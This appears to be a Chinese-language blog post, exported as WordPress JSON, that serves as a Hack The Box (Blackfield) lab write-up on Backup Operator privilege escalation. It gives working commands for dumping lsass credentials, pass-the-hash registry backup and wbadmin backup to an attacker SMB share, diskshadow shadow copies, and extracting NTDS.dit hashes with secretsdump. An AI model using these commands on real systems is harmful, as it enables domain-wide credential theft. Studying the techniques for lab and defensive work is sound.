{"id":1024,"date":"2024-09-16T00:09:47","date_gmt":"2024-09-15T16:09:47","guid":{"rendered":"http:\/\/xiyu12.top\/?p=1024"},"modified":"2024-09-16T00:09:47","modified_gmt":"2024-09-15T16:09:47","slug":"ba","status":"publish","type":"post","link":"http:\/\/www.xiyu12.top\/?p=1024","title":{"rendered":"Backup Operator Privilege Escalation(HTB-Blackfield)"},"content":{"rendered":"\n

robocopy \/b C:\\Users\\Administrator\\Desktop\\ C:\\<\/code> \u547d\u4ee4\u5c06administrator \u76ee\u5f55\u4e2d\u7684\u6587\u4ef6 \u590d\u5236\u51fa\u6765
b<\/code><\/strong>\uff1a\u4ee5\u201c\u5907\u4efd\u6a21\u5f0f\u201d\u590d\u5236\u6587\u4ef6<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
1.\u83b7\u5f97 lsass\u7a0b\u5e8f\u7684\u8f6c\u50a8\u6587\u4ef6\nlsass.dmp   lsass\u7a0b\u5e8f\u7684\u955c\u50cf\u6587\u4ef6\n\n2.\u4f7f\u7528 pypykatz  \u5c06\u51ed\u8bc1\u63d0\u53d6\u51fa\u6765\npip install pypykatz\npypykatz lsa minidump lsass.dmp<\/code><\/pre>\n\n\n\n
\u4f7f\u7528\u811a\u672c<\/p>\n\n\n\n
\u65b9\u68481<\/h2>\n\n\n\n
1.\u5efa\u7acbsmb\u5171\u4eab\npython3 \/usr\/share\/doc\/python3-impacket\/examples\/smbserver.py share . -smb2support\n\n2.\u4f7f\u7528\u4e0b\u8f7d\u7684reg.py \u83b7\u5f97sam system \u7b49\u6587\u4ef6\npython3 reg.py blackfield.local\/svc_backup@10.10.10.192 -hashes 'aad3b435b51404eeaad3b435b51404ee:9658d1d1dcd9250115e2205d9f48400d' backup -p '\\\\10.10.14.2\\share'\n\n3.\u4f7f\u7528\u5de5\u5177\u5c06 \u5907\u4efd\u6587\u4ef6\u4e2d\u7684\u51ed\u8bc1\u8f6c\u51fa\u6765\nimpacket-secretsdump -system=SYSTEM -sam=SAM LOCAL <\/code><\/pre>\n\n\n\n
\u5377\u5f71\u526f\u672c<\/strong>\uff08Volume Shadow Copy<\/strong>\uff0cVSS\uff09\u662f\u5fae\u8f6f Windows \u64cd\u4f5c\u7cfb\u7edf\u4e2d\u7684\u4e00\u79cd\u5feb\u7167\u6280\u672f\uff0c\u5141\u8bb8\u7cfb\u7edf\u5728\u67d0\u4e00\u65f6\u523b\u5bf9\u6587\u4ef6\u6216\u78c1\u76d8\u5377\u8fdb\u884c\u5feb\u7167\u3002\u8be5\u6280\u672f\u53ef\u4ee5\u5728\u4e0d\u9501\u5b9a\u6587\u4ef6\u7684\u60c5\u51b5\u4e0b\uff0c\u5bf9\u6b63\u5728\u4f7f\u7528\u7684\u6587\u4ef6\u8fdb\u884c\u5907\u4efd\u6216\u6062\u590d\uff0c\u56e0\u6b64\u5e7f\u6cdb\u5e94\u7528\u4e8e\u7cfb\u7edf\u5907\u4efd\u3001\u6587\u4ef6\u6062\u590d\u7b49\u573a\u666f
\u901a\u8fc7\u5377\u5f71\u526f\u672c\uff08Volume Shadow Copy\uff09\uff0c\u4f60\u53ef\u4ee5\u590d\u5236 NTDS.dit<\/code> \u6587\u4ef6\u3002NTDS.dit<\/code> \u662f Active Directory \u6570\u636e\u5e93\u6587\u4ef6\uff0c\u5b83\u5b58\u50a8\u4e86\u57df\u7528\u6237\u3001\u8ba1\u7b97\u673a\u548c\u5b89\u5168\u4fe1\u606f\u3002\u7531\u4e8e\u6587\u4ef6\u901a\u5e38\u88ab\u7cfb\u7edf\u9501\u5b9a\uff0c\u65e0\u6cd5\u76f4\u63a5\u590d\u5236\uff0c\u4f46\u901a\u8fc7\u5377\u5f71\u526f\u672c\u53ef\u4ee5\u7ed5\u8fc7\u9501\u5b9a\uff0c\u5c06\u5176\u590d\u5236\u51fa\u6765\u3002
\u901a\u8fc7 diskshadow.exe<\/code> \u521b\u5efa\u5377\u5f71\u526f\u672c<\/p>\n\n\n\n
\u8d44\u6599\u90e8\u5206<\/p>\n\n\n\n
1.\u521b\u5efa\u5377\u5f71\u526f\u672c\u540e\uff0c\u5c06\u5176\u6620\u5c04\u5230\u4e00\u4e2a\u865a\u62df\u9a71\u52a8\u5668\u76d8\u7b26\u4e0a\uff0c `F:`\ndiskshadow.exe\n\nset verbose on\nset metadata C:\\Windows\\Temp\\meta.cab\nset context clientaccessible\nbegin backup\nadd volume C: alias cdrive\ncreate\nexpose %cdrive% F:\nend backup\nexit\n\n2.\u590d\u5236 NTDS.dit \u6587\u4ef6 \nCopy-FileSeBackupPrivilege F:\\Windows\\NTDS\\ntds.dit C:\\Tools\\ntds.dit\n\nrobocopy \/B F:\\Windows\\NTDS .\\ntds ntds.dit\n\n3.\u63d0\u53d6`SYSTEM`\u548c`SAM`\u4ee5\u8fdb\u884c\u54c8\u5e0c\u68c0\u7d22\nreg save HKLM\\SYSTEM SYSTEM.SAV\nreg save HKLM\\SAM SAM.SAV\n\n4.\u4ece`NTDS.dit`\u68c0\u7d22\u6240\u6709\u54c8\u5e0c\u503c\nsecretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL<\/code><\/pre>\n\n\n\n
set verbose on\n\u4f5c\u7528\uff1a\u542f\u7528\u8be6\u7ec6\u6a21\u5f0f\uff0c\u4f7f diskshadow \u663e\u793a\u64cd\u4f5c\u7684\u8be6\u7ec6\u4fe1\u606f\uff0c\u4fbf\u4e8e\u8c03\u8bd5\u548c\u4e86\u89e3\u8fc7\u7a0b\u4e2d\u7684\u6bcf\u4e2a\u6b65\u9aa4\u3002\n\nset metadata C:\\Windows\\Temp\\meta.cab\n\u4f5c\u7528\uff1a\u6307\u5b9a\u5907\u4efd\u7684\u5143\u6570\u636e\u6587\u4ef6\u3002\u5143\u6570\u636e\u6587\u4ef6\u5305\u542b\u6709\u5173\u5907\u4efd\u7684\u8be6\u7ec6\u4fe1\u606f\uff0c\u5b58\u50a8\u5728 C:\\Windows\\Temp\\meta.cab \u4e2d\u3002\n\nset context clientaccessible\n\u4f5c\u7528\uff1a\u5c06\u5377\u5f71\u526f\u672c\u7684\u4e0a\u4e0b\u6587\u8bbe\u7f6e\u4e3a client-accessible\uff08\u5ba2\u6237\u7aef\u53ef\u8bbf\u95ee\uff09\u3002\u8fd9\u6837\u521b\u5efa\u7684\u5377\u5f71\u526f\u672c\u4e0d\u4ec5\u7cfb\u7edf\u53ef\u4ee5\u8bbf\u95ee\uff0c\u5ba2\u6237\u7aef\u5e94\u7528\u7a0b\u5e8f\u4e5f\u53ef\u4ee5\u8bbf\u95ee\u3002\u901a\u5e38\u5728\u6587\u4ef6\u5171\u4eab\u6216\u5176\u4ed6\u5ba2\u6237\u7aef\u9700\u8981\u8bbf\u95ee\u5907\u4efd\u65f6\u4f7f\u7528\u3002\n\nbegin backup\n\u4f5c\u7528\uff1a\u5f00\u59cb\u5907\u4efd\u64cd\u4f5c\u3002\n\nadd volume C: alias cdrive\n\u4f5c\u7528\uff1a\u6dfb\u52a0 C: \u5377\uff0c\u5e76\u4e3a\u5176\u8bbe\u7f6e\u522b\u540d\u4e3a cdrive\u3002\u8fd9\u662f\u5c06\u5907\u4efd\u7684\u76ee\u6807\u5377\uff08\u5728\u672c\u4f8b\u4e2d\u4e3a C:\uff09\u6dfb\u52a0\u5230\u5907\u4efd\u96c6\u4e2d\u3002\n\ncreate\n\u4f5c\u7528\uff1a\u521b\u5efa\u5377\u5f71\u526f\u672c\u3002\u7cfb\u7edf\u4f1a\u6839\u636e\u4e4b\u524d\u7684\u8bbe\u7f6e\u521b\u5efa\u5feb\u7167\u3002\n\nexpose %cdrive% F:\n\u4f5c\u7528\uff1a\u5c06\u521b\u5efa\u7684\u5377\u5f71\u526f\u672c\u66b4\u9732\u4e3a\u865a\u62df\u9a71\u52a8\u5668 F:\u3002\u8fd9\u6837\u4f60\u53ef\u4ee5\u50cf\u8bbf\u95ee\u666e\u901a\u9a71\u52a8\u5668\u4e00\u6837\u8bbf\u95ee\u5377\u5f71\u526f\u672c\u4e2d\u7684\u6587\u4ef6\u3002\n\nend backup\n\u4f5c\u7528\uff1a\u7ed3\u675f\u5907\u4efd\u64cd\u4f5c\uff0c\u901a\u77e5\u7cfb\u7edf\u5907\u4efd\u5df2\u5b8c\u6210\u3002\n\nexit<\/code><\/pre>\n\n\n\n
\u65b9\u68482<\/h2>\n\n\n\n
1.create cmd\u6587\u672c  \n\u5185\u5bb9\u5982\u4e0b\uff1a\nset context persistent nowriters\nadd volume c: alias temp\ncreate\nexpose %temp% h:\nexit\n\n\u9700\u8981\u5728\u6bcf\u884c\u672b\u5c3e\u6709\u4e00\u4e2a\u989d\u5916\u7684\u7a7a\u683c\uff0c\u5426\u5219 diskshadow \u4f1a\u5220\u9664\u4e00\u4e2a\u5b57\u7b26\uff0c\u5e76\u4e14\u8be5\u547d\u4ee4\u5c06\u53d8\u5f97\u65e0\u6548\n\n\n2.diskshadow \/s cmd \n  diskshadow \/s cmd   \u547d\u4ee4\u7528\u4e8e\u5728 Windows \u4e2d\u4ee5\u811a\u672c\u6a21\u5f0f\u8fd0\u884c `DiskShadow` \u5de5\u5177\u3002\n`\/s` \u53c2\u6570\u544a\u8bc9 `DiskShadow` \u4ece\u6307\u5b9a\u7684\u811a\u672c\u6587\u4ef6\u4e2d\u8bfb\u53d6\u547d\u4ee4\u5e76\u6267\u884c\u8fd9\u4e9b\u547d\u4ee4\uff0c\u800c\u4e0d\u662f\u7b49\u5f85\u7528\u6237\u5728\u4ea4\u4e92\u6a21\u5f0f\u4e2d\u8f93\u5165\u547d\u4ee4\u3002\n\n3. SeBackupPrivilege \u811a\u672c \u4ece\u5377\u5f71\u526f\u672c\u4e2d\u5bfc\u51fa NTDS\uff0cSYSTEM\nhttps://github.com\/giuliano108\/SeBackupPrivilege.git\n\nCopy-FileSeBackupPrivilege h:\\windows\\ntds\\ntds.dit c:\\windows\\temp\\NTDS -Overwrite\nCopy-FileSeBackupPrivilege h:\\windows\\system32\\config\\SYSTEM c:\\windows\\temp\\SYSTEM -Overwrite\n\n\n4.impacket-secretsdump  -ntds ntds -system system LOCAL<\/code><\/pre>\n\n\n\n
\u5982\u679c\u8fd9\u4e0d\u662f\u57df\u63a7\u5236\u5668\uff0c\u5219\u4e0d\u4f1a\u6709 NTDS.dit \u6587\u4ef6\u53ef\u4ece\u4e2d\u83b7\u53d6\u5bc6\u7801\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u4e0b\u8f7d SYSTEM\u3001SAM \u548c SECURITY \u6587\u4ef6\uff1a\n\nCopy-FileSeBackupPrivilege h:\\windows\\system32\\config\\SYSTEM c:\\windows\\temp\\SYSTEM -Overwrite\n\nCopy-FileSeBackupPrivilege h:\\windows\\system32\\config\\SECURITY c:\\windows\\temp\\SECURITY -Overwrite\n\nCopy-FileSeBackupPrivilege h:\\windows\\system32\\config\\SAM c:\\windows\\temp\\SAM -Overwrite<\/code><\/pre>\n\n\n\n
 robocopy h:\\windows\\ntds c:\\Users ntds.dit \/b<\/code><\/pre>\n\n\n\n
tree                    \n.\n\u251c\u2500\u2500 README.md\n\u251c\u2500\u2500 SeBackupPrivilege.sln\n\u251c\u2500\u2500 SeBackupPrivilegeCmdLets\n\u2502&nbsp;&nbsp; \u251c\u2500\u2500 CmdLets.cs\n\u2502&nbsp;&nbsp; \u251c\u2500\u2500 Properties\n\u2502&nbsp;&nbsp; \u2502&nbsp;&nbsp; \u2514\u2500\u2500 AssemblyInfo.cs\n\u2502&nbsp;&nbsp; \u251c\u2500\u2500 SeBackupPrivilegeCmdLets.csproj\n\u2502&nbsp;&nbsp; \u2514\u2500\u2500 bin\n\u2502&nbsp;&nbsp;     \u2514\u2500\u2500 Debug\n\u2502&nbsp;&nbsp;         \u251c\u2500\u2500 SeBackupPrivilegeCmdLets.dll\n\u2502&nbsp;&nbsp;         \u2514\u2500\u2500 SeBackupPrivilegeUtils.dll\n\u251c\u2500\u2500 SeBackupPrivilegeTest\n\u2502&nbsp;&nbsp; \u251c\u2500\u2500 Program.cs\n\u2502&nbsp;&nbsp; \u251c\u2500\u2500 Properties\n\u2502&nbsp;&nbsp; \u2502&nbsp;&nbsp; \u2514\u2500\u2500 AssemblyInfo.cs\n\u2502&nbsp;&nbsp; \u251c\u2500\u2500 SeBackupPrivilegeTest.csproj\n\u2502&nbsp;&nbsp; \u2514\u2500\u2500 SeBackupPrivilegeTest.sln\n\u251c\u2500\u2500 SeBackupPrivilegeUtils\n\u2502&nbsp;&nbsp; \u251c\u2500\u2500 Properties\n\u2502&nbsp;&nbsp; \u2502&nbsp;&nbsp; \u2514\u2500\u2500 AssemblyInfo.cs\n\u2502&nbsp;&nbsp; \u251c\u2500\u2500 SeBackupPrivilegeUtils.csproj\n\u2502&nbsp;&nbsp; \u251c\u2500\u2500 SeBackupPrivilegeUtils.sln\n\u2502&nbsp;&nbsp; \u2514\u2500\u2500 Utils.cs\n\u2514\u2500\u2500 TODO.md<\/code><\/pre>\n\n\n\n
\u65b9\u68483 <\/h2>\n\n\n\n
\u6709\u4e00\u4e2a\u95ee\u9898 \u9700\u8981windows\u673a\u5668
wbadmin<\/code> \u5de5\u5177\u8981\u6c42\u5907\u4efd\u76ee\u6807\u5377\u5fc5\u987b\u4f7f\u7528 NTFS<\/strong> \u6216 ReFS<\/strong> \u6587\u4ef6\u7cfb\u7edf\u683c\u5f0f\u5316\uff0c\u4ee5\u786e\u4fdd\u6587\u4ef6\u548c\u5143\u6570\u636e\u80fd\u591f\u88ab\u6b63\u786e\u5730\u5904\u7406\u548c\u4fdd\u62a4\u3002<\/p>\n\n\n\n
1.\npython3 \/usr\/share\/doc\/python3-impacket\/examples\/smbserver.py share . -smb2support  -username df -password df\n\n2.\nnet use \\\\10.10.14.18\\share \/user:df df\n\n\n3.\nwbadmin start backup -quiet -include:C:\\Windows\\NTDS\\NTDS.dit -backuptarget:\\\\10.10.14.18\\\\share<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
robocopy \/b C:\\Users\\Administrator\\Desktop\\ C:\\ \u547d\u4ee4\u5c06admi […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[21,25,46,69,75],"class_list":["post-1024","post","type-post","status-publish","format-standard","hentry","category-windows","tag-backup-operator","tag-diskshadow","tag-lsass-dmp","tag-pypykatz","tag-robocopy"],"_links":{"self":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/1024","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1024"}],"version-history":[{"count":0,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/1024\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1024"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1024"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1024"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}